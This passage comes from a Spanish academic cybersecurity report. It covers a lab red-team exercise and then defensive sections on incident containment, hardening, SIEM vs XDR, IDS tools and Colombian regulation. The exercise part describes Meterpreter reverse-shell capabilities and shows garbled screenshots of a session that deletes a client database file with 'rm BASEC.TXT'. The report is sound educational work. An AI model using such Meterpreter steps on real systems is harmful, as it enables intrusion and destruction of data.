en una maquina objetivo, puede reclamar el control total de este
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sistema, ejecutando comandos, acceder a archivos y carpetas, sustraer
informacion y varios procesos mas.

o Versatilidad: se puede usar en una gran cantidad de escenarios
Windows y Linux soportando en estos gran cantidad de comandos y
funciones que permiten realizar acciones en los sistemas
comprometidos.

o Persistencia: se puede establecer persistencia en el sistema objetivo,
haciendo dificil su deteccién a los administradores.

o Funcionalidades incorporadas: incluye caracteristicas adicionales como,
escalamiento de privilegios, acceso a Camara, micréfono, captura de
teclas. Esto lo convierte en una poderosa herramienta de acceso para el
atacante.

e Una vez dentro del meterpreter abierto apuntando a la maquina objetivo se
ejecutan los comandos para cometer el ataque y eliminar el archivo en el
objetivo.

llustracion 20 Ejecucion del ataque con comandos meterpreter

0

root(@kali: ~

File Actions Edit View Help

‘meterpreter/reverse_tcp

43 — 192.168.0.20:62459) at

Type Name

fil ( 20:19 -04 PoC_cedulaestudiante.ex

I'W @ =

meterpreter >

Fuente: El autor
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e Comando Is para verificar ruta y archivos
llustracion 21 Validacion de archivos en la ruta

o

root@kali: ~

File Actions Edit View Help

g =

h o
—+

modified Name

19 -04 PoC_cedulaestudiante.
e

Fuente: El autor
e Comando cd .. para ubicar la ruta donde estd el archivo objetivo
(BASEC.TXT)

llustracion 22 Busqueda del archivo de base de datos a eliminar

root@kali: ~

File Actions Edit View Help

/meterpre
ad = window
ploit(
et lport 443

> exploit

18 -0400

Last modified Name

20:19 -804 PoC_cedulaestudi

e

Fuente: El autor
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e Comando Is para visualizar contenido de la carpeta

llustracion 23 Contenido de la carpeta

root@kali: ~

File Actions Edit View Help

Fuente: El autor

e Escritorio de Windows antes de eliminar al archivo de base de clientes

llustracion 24 Escritorio de Windows antes del ataque

L Escribe aqui para buscar. =1 ) 22°C SEIR D

Fuente: El autor
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e Se elimina el archivo BASEC.TXT por medio del comando rm

llustracion 25 Eliminacion del archivo base de datos

meterpreter > rm BASEC.TXT
meterpreter > LS

Unknown command: LS
meterpreter > 1s
Listing: C:\Users\ALFREDOR\Desktop

Mode Size Type Last modified Name
023-08-27 22:59:33 -0400 alf
023-08-05 19:05:38 -0400 desktop.ini

040777 /TwWXTWXTIWX dir 2
100666/ rw-rw-rv- fil 2

meterpreter > ||

Fuente: El autor

2.12 ANALISIS CON ACCIONES NECESARIAS PARA CONTENER UN ATAQUE
EN TIEMPO REAL.

En caso de un ataque informatico existen una serie de acciones de contencién que
necesariamente se deben ejecutar para la proteccion de redes, sistemas y datos
de la organizacion.

e Analisis del ataque:

o lIdentificacién del ataque: establecer el tipo de ataque y su posible origen
interno 0 externo que puede ser denegacién de servicios, intento de
intrusion, ejecucion de malware para establecer que politicas técnicas de
contencién se deben ejecutar

o Objetivo del ataque: Segun las intenciones de los causantes del ataque
pueden ser acceso no autorizado, robo de informacién o datos, espionaje,
dafio reputacional, extorsion, destruccion de informaciéon o simplemente
causar interrupcion de un servicio.

e Acciones de contencion:

o Aislar sistemas comprometidos: Para evitar la propagacion de los dafios
que pueda causar un ataque, los mas recomendable es aislar el recurso de
tecnologia infectado sacandolo de la red y ejecutandole tareas de
remediacion.

o Restriccion de cuentas con privilegios: eliminar los privilegios a los usuarios
del sistema cambiando las contrasefas para que los posibles ejecutores del
ataque sigan accediendo a los recursos criticos

o Monitoreo en tiempo real: por medio de herramientas de monitoreo en
tiempo real, tratar de identificar eventos y trafico malicioso para evitar
nuevos accesos no permitidos.
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o Eliminacion de las posibles causas del ataque: se debe ejecutar tareas de
actualizaciones en todos los sistemas incluidos los comprometidos, para
evitar y cerrar las posibles brechas de entrada de los atacantes asi como
controlar los accesos a puertos abiertos en los sistemas y ejecucion de
escaneos de antivirus.

Fase Post Incidente

o Recopilacion de evidencia: Conservar los registros forenses y logs que se
hayan generado durante el incidente para posibles efectos sobre
generacion de acciones legales y para la generacibn de lecciones
aprendidas con el objetivo de no recaer en un ataque informatico similar.

o Continuidad del servicio: ejecutar los planes de recuperacién de incidentes
para la continuidad de los procesos propios de la organizaciéon y minimizar
los efectos adversos causados por el ataque informatico.

o Gestion de crisis: ejecutar los planes de comunicacion hacia, clientes,
medios y autoridades con el fin de proteger la reputacion de la
organizacion.

2.13 INFORME DE ACCIONES DE HARDENIZACION A IMPLEMENTAR PARA

EVITAR QUE SUCEDAN ATAQUES DE SEGURIDAD INFORMATICA.

Debido a las graves consecuencias que pueden generar un ataque informatico de
cualquier dimensién y técnica, se debe cerrar las posibles vulnerabilidades para
evitar estas expuestos a las amenazas que el entorno de la ciberseguridad tiene
identificado, y es por esto que se deben ejecutar procesos de endurecimiento de
los recursos de tecnologia instalada para evitar este tipo de situaciones de riesgo.

Identificacion y evaluacion de la infraestructura actual: Es indispensable tener
identificada y comprendida toda la infraestructura de tecnologia con las
respectivas arquitecturas documentadas en telecomunicaciones, servidores,
bases de datos y servicios de tecnologia entrantes y salientes y asi poder
cubrirlas con procesos de analisis de vulnerabilidades con herramientas
apropiadas, evaluacion de las configuraciones de firewalls, monitoreo
constante de actividad inusual de trafico de red, auditorias de acceso y
permisos otorgados.

Endurecimiento de seguridad: una vez identificados todos los recursos de
tecnologia se deben implementar buenas practicas de endurecimiento como:

o Actualizacion de parches: planear politicas de actualizacion manual o
automatica de los sistemas operativos y software de terceros
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o Politicas de contrasefias seguras: implementar multifactor en el acceso
a los sistemas y politicas de contrasefias seguras.

o Firewalls y proteccion de red: limitar trafico no necesario y no deseado
por medio de reglas de firewalls complementado con sistemas de
deteccion (IDS) y de prevencion de intrusiones (IPS)

o Implementacién de lineas base de configuracién de servidores y equipos
cliente: en donde se debe limitar las conexiones a puertos de
transferencia de archivos como el 445 TCP y desactivacion de protocolo
SMBV1 y eliminacion de todo software innecesario para disminuir la
superficie de ataque en los recursos de tecnologia de las plataformas
servidor y cliente.

o Capacitacion y concientizacion: Socializar con todos los integrantes de
la organizacion las politicas de ciberseguridad para que sean adoptadas
tanto a nivel corporativo como en el ambito personal incluidos los temas
de ingenieria social y pishing.

o Copias de seguridad: Ejecutar planes de copias de seguridad y
restauracion de los sistemas criticos.

o Controles de navegacién internet por medio de creacién de perfiles
adecuados a las labores propias de los usuarios.

En el banco de trabajo se realizaron actividades de actualizacion de parches d
sistema operativo, activacion de firewall(control de puertos) y software antivirus
como medidas de endurecimiento.

llustracion 26 Activacion de Firewall Windows

Seguridad de Windows - *
e . .

_ ¢ Firewall y proteccion de

B I‘ed Videos de la Comunidad Windows

@ Inicio Quién y qué puede tener acceso a las redes. Mas informacién sobre Firewall y

proteccién de red

U  Protecci6n contra virus y amenazas

R Proteccion de cuentas Red de dominio ;Tienes alguna pregunta?
El firewall esta activado. Obtener ayuda

| ) Firewall y proteccién de red

B Control de aplicaciones y explorador

2@ Red privada ;Quién me protege?
B Seguridad del dispositive El firewall asté activado Administrar proveedores
% Rendimiento y estado del dispositivo
- - . . Ayudar a mejorar la seguridad de
dh  Opciones de familia 1 o
P S8 Red publica (activo) Windows
El firewall estd activado. Envianos tus comentarios
Permitir una aplicacién a través del firewall Ca_mb!ar la configuracion de
privacidad
Solucionador de problemas de red e Internet »
Consulta y cambia la configuracion
Configuracién de notificacicnes de firewall de privacidad del dispositivo
Configuracién avanzada Windaws 10.
Configuracién de privacidad
Restaurar los firewalls a los valores predeterminados
Panel de privacidad
@ Configuracién Declaracién de privacidad
H £ Buscar Lo L i = 6°C A~ O m g aq) Esp V:.

Fuente: El autor
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llustracion 27 Activacion Proteccién Antivirus

Seguridad de Windows - el

é
Protecciéon contra virus

y amenazas

Videos de la Comunidad Windows

@ Inicio Proteccién para el dispositivo contra amenazas. Mss informacién sobre Proteccién
I} contra virus Yy amenazas
| O Proteccion contra virus y amenazas
R Proteccin de cuentas & Amenazas actuales ;Tienes alguna pregunta?
hay s ales. Obt d
) Firewall y proteccién de red YO ay amenazas ales ener ayuda
Ultimo examen: 8/09/2023 4:52 p. m. (examen rag
3 Control de aplicaciones y explorador 0 amenazas encontradas.

Seguridad del dispositive

Rendimiento y estado del dispositive

Opciones de familia

El examen durd 1 minutos 25 segundos
32121 archivos examinados.

Examen rapido
Opciones de examen

Amenazas permitidas

Historial de proteccién

». Configuracion de Proteccion
contra virus y amenazas

No se requiere ninguna accion.

Administrar la configuracién

;Quién me protege?

Administrar proveedores

Ayudar a mejorar |a seguridad de
Windows

Envfanos tus comentarios

Cambiar |a configuracion de
privacidad

Consulta y cambia la configuracién
de privacidad del dispositivo
Windows 10.

Configuracién de privacidad

i‘é:% Configuracion

H £ Buscar

Fuente: El autor

Panel de privacidad

Declaracién de privacidad

= @ Q) e

2.14 ANALISIS SOBRE LAS DIFERENCIAS ENTRE EL EQUIPO DE BLUE TEAM
RED TEAM, PURPLE TEAM Y EQUIPO DE RESPUESTA A INCIDENTES.

llustracion 28 Cuadro comparativo equipos de ciberseguridad

BLUE TEAM

RED TEAM

PURPLE TEAM

EQUIPO DE RESPUESTA A INCIDENTES

OBJETIVOS

Prevencion, deteccion y mitigacion
de amenazas en ciberseguridad de
los sitemas informaticos de una
organizacion

Simulacion de ataques
ciberneticos lo mas real

posible para evidenciar las
posibles vulnerabilidades de

una infraestructura de

tecnologia

Servir de facilitador enfre blue team y
red team en cuanto a respuesta de
posibles amenazas a la ciberseguridad
integrando tacticas defensivas de blue
team, con las vulnerabilidades que red
team evidencie en la infraestructura de
tecnologia

Gestionar la respuesta ante
incidentes de seguridad cibernetica
y su respectiva mitigacion

ACTIVIDADES
PRINCIPALES

Analisis de vulnerabilidades
monitorizacion de sistemas, gestion
de actualizacion de parches,
sensibilizacion a personal sobre
cibersequridad, endurecimiento de
recursos de tecnologia, sistemas ids
ips

Pruebas de pentesting,

identificacion y explotacion

de vulnerabilidddes de
forma controlada,

presentacion de informes

del estado de la
ciberseguridad de la

organizacion

Fomento de la actividad entre blue team
y red team, gestionar la identificacion
de los activos de tecnologia de la
organizacion, evaluacion de la
respuesta ante incidentes,

Identificar y clasificar los incidentes
de ciberseguridad, contencion de
las amenazas, analisis forense,
comunicacién de los incidentes a las
partes interesadas

RESPONSABILIDADES

Identificacion y proteccion de los
recursos de tecnologia de la
organizacion para atender la la
disponibilidad, seguridad e
integridad de los sistemas y en caso
de ataque cibernetico responder en
su contencion

Junto con las actividades de

blue team fortalecer la
defensa ante potenciales
amenazas de manera

proactiva

Usando las capacidades de red team y
blue tems y sus caracieristicas,
fomentar y ejecutar fodas las acciones
necesarias para asegurar los recursos
de tecnologia en cuanto a su
confidencialidad, integridad y
disponibilidad

Reducir los impactos que pueden
generar los incidentes de
ciberataques en al campo financiero
y reputacional, garantizando en el
menor tiempo posible la operatividad
normal de los proceso de una
organizacion

Fuente: El autor
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2.15 ANALISIS SOBRE LA PERTINENCIA DE TRABAJAR CON CIS “CENTER

FOR INTERNET SECURITY” COMO PROPUESTA DE ASEGURAMIENTO
POR PARTE DE UN EQUIPO DE BLUE TEAM.

La ciberseguridad en nuestros entornos corporativos se debe considerar como
un esfuerzo continuo para asegurar y fortalecer las defensas ante las
amenazas que cada dia evolucionan de manera dinamica, por lo que contar
con la colaboracién, recursos, experiencia y proactividad del CIS se convierte
en una herramienta poderosa y efectiva para estar siempre actualizados en
cuanto a los procesos de contencion, remediacion y buenas practicas por parte
de los equipos blue team y sus especialistas.

Ventajas de trabajar con el CIS por parte de blue team

o Reputacion y experiencia: es una organizacion con una extensa experiencia

en el campo de la ciberseguridad desarrollando herramientas y recursos
gue en el ambito de la ciberseguridad ofrecen ciberseguridad demostradas
Estandares: CIS Controls y el CIS Benchmarks son recursos que ofrecen
para asegurar sistemas y redes de organizaciones

Recursos gratuitos: para organizaciones como PYMES con recursos
limitados, CIS ofrece recursos de alta calidad y de manera gratuita para
equipos blue team que abarcan herramientas como guias, documentacion
técnica.

Proactividad: el enfoque proactivo de todos sus recursos en seguridad
informatica acentuando los temas de prevencién ayudan a reducir los
riesgos relacionadas a las amenazas que dia a dia evolucionan en contra
de la ciberseguridad en las organizaciones.

2.16 ANALISIS SOBRE LAS FUNCIONES Y CARACTERISTICAS Y

DIFERENCIAS ENTRE SIEM Y UN XDR.

SIEM Y XDR se puede decir qgue pueden formar una solucién complementandose
entre si para mejorar la ciberseguridad de una infraestructura de tecnologia, ya
gue SIEM se enfoca en recopilacion de datos de diferentes fuentes para generar
alertas ante eventos de ciberseguridad y los XDR se enfocan ademéas de esta
caracteristica a la deteccién y respuesta automatizada ante eventos de ciber
seguridad complejos.
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llustraciéon 29 SIEM VS XDR

v"  Recopilacién y correlacién
de registros de eventos
desde varias soluciones
para la generacién de
alertas, analizar un evento
y poder responder ante

v"  Usa los datos que se recopilan y se
enfoca en el mejoramiento en la
deteccion y respuesta ante
amenazas, identifica y toma las
medidas pertinentes para resolver
los incidentes de forma rapida y

este. SIEM sirve también precisa.
para procesos de

monitoreo de una

infraestructura de

tecnologia y generacion

de informes que se

requieran para dar

cumplimiento a

normativas.

Centralizacién de Aprendizaje automatico para la

informacién proveniente de
diferentes fuentes
Correlacion de eventos como

insumo para identificar
patrones y actividades
anémalas

Permite la parametrizacion de
reglas para la generacién de
alertas

Para fines de cumplimiento y
auditoria, permite
almacenamiento y gestién de
la informacioén.

Permite tableros de control e
informes

deteccién avanzada de amenazas
Correlaciona datos con el fin de
identificar amenazas que se presentan
en registros individuales

Respuesta automatizada de
amenazas. Ejemplo: aislar un recurso
de tecnologia comprometido.

Reduce la toma de decisiones ante
incidentes.

Fuente: El autor
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2.17 INFORME DE ELECCION DE 3 HERRAMIENTAS QUE PERMITAN
DETECTAR ATAQUES INFORMATICOS.

e Fail2ban:

Se encarga de monitorear los intentos de acceso online hacia un servidor,
parametrizando el nimero de intentos fallidos desde una ip determinada, lo cual
evita ataques de fuerza bruta hacia el recurso de tecnologia.

e Snort:

Se trata de un sistema de deteccion y prevencién de intrusiones (IDS/IPS) de
coédigo abierto que de manera predefinida por medio de reglas, identifica
actividades maliciosas, permitiendo la adaptacion a cada organizacion en su
infraestructura de tecnologia, siendo muy eficiente en la deteccion de una amplia
gama de ataques, intento de explotacion y escaneo de puertos.

e Suricata:

Sistema IDS/IPS desarrollado por Open Information Security Foundation y de
Caodigo abierto que se encarga de la deteccion de intrusos en una red, su motor es
capaz de monitorear y detectar en tiempo real, actividad potencialmente peligrosa,
consta de médulos de captura, decodificacion y deteccion.
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2.18 DE QUE MANERA PUEDEN APORTAR EN EL CAMPO DE LA
CIBERSEGURIDAD LA INTEGRACION DE EQUIPOS BLUE TEAM, RED
TEAM Y PURPLE TEAM AL MISMO TIEMPO DENTRO DE UNA
ORGANIZACION.

Los equipos de seguridad RED TEAM, BLUE TEAM y PURPLE TEAM al interior
de una organizacion pueden articular un trabajo en conjunto para la proteccion de
una infraestructura de Tl, RED TEAM identificando las brechas de seguridad,
BLUE TEAM implementando las defensas proactivas, y PURPLE TEAM
generando la colaboracion y mejora constante, fortaleciendo la ciberseguridad
ante las amenazas que pueden afectar de manera significativa a una organizacion
y que evolucionan de manera constante en el entorno de Tl a nivel global.

La integracion de estos equipos puede aportar de las siguientes formas:

Mejora de la preparacion ante eventos de ciberseguridad: La colaboracion entre
los equipos Blue y Red articulados por purple team afianza la preparacion de la
organizacion para detectar y enfrentar amenazas cibernéticas reales al
proporcionar analisis realistas de la postura de seguridad.

Identificacion temprana y constante de vulnerabilidades: el monitorio y deteccion
de brechas y vulnerabilidades en un entorno de ti de manera controlada, permite a
la organizacidon abordar problemas antes de que sean explotados por
ciberdelincuentes.

Aprendizaje y capacitacion continua: La comunicacion constante entre los equipos
y la retroalimentacion ayudan a mejorar la seguridad cibernética de manera
continua, permitiendo adaptarse a las amenazas emergentes.

Mayor resiliencia: La integracion de equipos fomenta la resiliencia de la

organizacion ante ataques, ya que se desarrollando estrategias mas efectivas y se
reducen los tiempos de deteccion y mitigacion.

34



2.19 POLITICAS DE SEGURIDAD Y RECOMENDACIONES PARA MEJORAR
LOS ASPECTOS DE CIBERSEGURIDAD EN CUALQUIER
ORGANIZACION EN SUS ENTORNOS T.I.

Debido a las graves consecuencias que pueden generar un ataque informatico de
cualquier dimension y técnica, es responsabilidad de un equipo Blue Team
proteger y cerrar las posibles vulnerabilidades para evitar estas expuestos a las
amenazas que el entorno de la ciberseguridad tiene identificado, y es por esto que
se deben ejecutar procesos de endurecimiento de los recursos de tecnologia
instalada para evitar este tipo de situaciones de riesgo.

¢ l|dentificacion y evaluacion de la infraestructura actual: Es indispensable tener
identificada y comprendida toda la infraestructura de tecnologia con las
respectivas arquitecturas documentadas en telecomunicaciones, servidores,
bases de datos y servicios de tecnologia entrantes y salientes y asi poder
cubrirlas con procesos de analisis de vulnerabilidades con herramientas
apropiadas, evaluacion de las configuraciones de firewalls, monitoreo
constante de actividad inusual de trafico de red, auditorias de acceso y
permisos otorgados.

e También se debe contemplar soportarse en herramientas de monitoreo,
deteccion y respuesta ante incidentes de cibercriminalidad, como la
implementacion de herramientas como SIEM o un XDR para estos fines.

e Endurecimiento de seguridad: una vez identificados todos los recursos de
tecnologia se deben implementar buenas practicas de endurecimiento como:

o Actualizacion de parches: planear politicas de actualizacion manual o
automatica de los sistemas operativos y software de terceros

o Politicas de contrasefias seguras: implementar multifactor en el acceso
a los sistemas y politicas de contrasefias seguras.

o Firewalls y proteccion de red: limitar trafico no necesario y no deseado
por medio de reglas de firewalls complementado con sistemas de
deteccion (IDS) y de prevencién de intrusiones (IPS)

o Implementacion de lineas base de configuracion de servidores y equipos
cliente: en donde se debe limitar las conexiones a puertos de
transferencia de archivos como el 445 TCP y desactivacion de protocolo
SMBvV1 y eliminacion de todo software innecesario para disminuir la
superficie de ataque en los recursos de tecnologia de las plataformas
servidor y cliente.

o Capacitacion y concientizacion: Socializar con todos los integrantes de
la organizacion las politicas de ciberseguridad para que sean adoptadas
tanto a nivel corporativo como en el ambito personal incluidos los temas
de ingenieria social y pishing.
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o Copias de seguridad: Ejecutar planes de copias de seguridad y
restauracion de los sistemas criticos.

o Controles de navegacion internet por medio de creacion de perfiles
adecuados a las labores propias de los usuarios.

2.20 CONCLUSIONES QUE ORIENTEN ASPECTOS IMPORTANTES EN

CUANDO A LA INVERSION DE CIBERSEGURIDAD DENTRO DE LAS
ORGANIZACIONES.

La inversion en ciberseguridad en las organizaciones de cualquier tipo, se hace
fundamental hoy en dia para la proteccion de los activos de tecnologia incluyendo
la informacién, de esto depende en gran medida aspectos que podrian afectarse
como la reputacién, el cumplimiento de normativas y continuidad de negocio.

Es por esto por lo que se formulan las siguientes conclusiones que respaldarian y
justifican esta inversion en este rubro.

o

El riesgo es real y creciente: Con acontecimientos a nivel global y nacional,
se comprueba que las amenazas cibernéticas son reales y estan
evolucionando dinamicamente y pueden llevar a consecuencias fatales a
una organizacion pues cada vez son mas costosas sus consecuencias.

Impacto economico: Financieramente es mas rentable invertir en
ciberseguridad para prevenir consecuencias de un ciberataque lo que
puede ser muy costoso en el campo econdmico, reputacional y normativo.

Cumplimiento normativo: Las regulaciones y normas como los marcos
regulatorios vigentes en Colombia especificamente la ley 1273 de 2009 y la
1581 de 2012 en los temas sobre delitos informaticos y proteccién de datos
cada vez son mas relevantes en su obligatorio cumplimiento, invertir en
ciberseguridad, evitaria sanciones financieras y a su vez protegeria la
infraestructura de TI.

Reputaciéon y confianza: Un incidente de ciberseguridad a una organizacion,
acarrearia dafios significativos a su reputacién ya que se han convertido en
mediaticos ante clientes, entes de control, proveedores y publico en
general, y recuperar un buen nombre financiera y operativamente seria muy
costoso.

Disponibilidad y continuidad del negocio: Los ataques cibernéticos pueden
interrumpir las operaciones comerciales, lo que tiene un impacto directo en
la productividad y la continuidad del negocio. La inversién en ciberseguridad
ayuda a garantizar la disponibilidad de sistemas y servicios criticos.
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3 CONCLUSIONES

Se analiza las ventajas de la implementacion de practicas de
ciberseguridad basados en los roles de equipos de Red Team, Blue team y
Purple Team en la tarea constante de proteccion de la infraestructura de
tecnologia.

Normativamente se analiza las regulaciones existentes en Colombia que
son necesarias no solo para evitar consecuencias adversas de caracter
legal si no para apoyar también la implementacion de buenas practicas de
ciber seguridad.

Basados en el ejercicio practico soportado en los roles red team y blue

team, se formulan una serie de recomendaciones a implementar para
reforzar la seguridad de los activos de tecnologia.
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4 ENLACE VIDEO DE PRESENTACION

https://youtu.be/rNcW4FNeg-k
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